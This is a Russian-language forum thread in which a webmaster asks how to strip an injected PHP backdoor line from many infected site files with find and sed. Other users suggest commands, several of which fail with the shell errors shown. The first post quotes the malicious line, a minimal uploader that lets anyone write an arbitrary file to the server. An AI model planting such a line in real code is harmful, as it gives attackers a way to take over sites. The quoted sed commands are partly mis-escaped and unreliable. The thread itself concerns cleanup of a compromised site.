Подскажите

xJoKeRx
На сайте с 29.09.2009
Offline
51
1445

Подскажите пожалуйста как при помощи SSH команды Find и sed найти и удалить вредоносную строку с Php файлов на сайтах

Вот сама строчка

1)

<?php

if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}

Точнее как правильно ее написать в команде find

Поиск информации, добавление уник. статей, и другая мелочь. Пишите если заинтересовало, ася в профиле. Articles-monster Дешевая программа для статейного прогона (/ru/forum/852641)
Gzas
На сайте с 05.01.2014
Offline
135
#1

Вот так попробуйте find ./ -type f -name "*.php" -exec sed -i s/OLDTEXT/NEWTEXT/g {} \;

OLDTEXT=<?php

if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}

NEWTEXT=пробел

xJoKeRx
На сайте с 29.09.2009
Offline
51
#2

Неа не помогает не ищет он если строчку так ввести

if ($_FILES['F1l3']) {move_uploaded_file($_FILES['F1l3']['tmp_name'], $_POST['Name']); Exit;}

Ее не надо разве комментировать?

---------- Добавлено 14.11.2014 в 22:23 ----------

Если ввожу move_uploaded_file($_FILES то ищет но мне надо всю строчку удалить так как файлов инфицированных очень много. Подозреваю что надо правильно закомментировать только как

siv1987
На сайте с 02.04.2009
Offline
427
#3

echo preg_quote("if (\$_FILES['F1l3']) {move_uploaded_file(\$_FILES['F1l3']['tmp_name'], \$_POST['Name']); Exit;}", '/');

Экранированную строку скопировать в команду ssh.

xJoKeRx
На сайте с 29.09.2009
Offline
51
#4

Спасибо не буду пытаться далек я от этого не разобрался как и куда вставлять вставляю в find -exec grep -1 не получается синтаксическая ошибка, мне надо просто эту строчку удалить со всех файлов на примере если можно какая команда

Уже 4 сутки бьюсь над этими редиректами в .htaacess и этими строчками (

siv1987
На сайте с 02.04.2009
Offline
427
#5

find . -type f -name "*.php" -exec sed -i s/if \(\$_FILES\['F1\l3'\]\) \{move_uploaded_file\(\$_FILES\['F1l3'\]\['tmp_name'\], \$_POST\['Name'\]\); Exit;\}//g {} \;

xJoKeRx
На сайте с 29.09.2009
Offline
51
#6

Вот что выдает


find: missing argument to `-exec'
find_shell.sh: 1: Exit: not found
find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ : Exit: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found: not found
-bash: find_shell.sh:: command not found
find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ : Exit: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
-bash: find_shell.sh:: command not found
coron144@nhs:~/www$ coron144@nhs:~/www$ : Exit: not found
-bash: coron144@nhs:~/www$: No such file or directory
coron144@nhs:~/www$ coron144@nhs:~/www$ find_shell.sh: 1: }//g: not found
xJoKeRx
На сайте с 29.09.2009
Offline
51
#7

Всем спасибо буду изучать экранирование) А так по кускам код по удалял

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий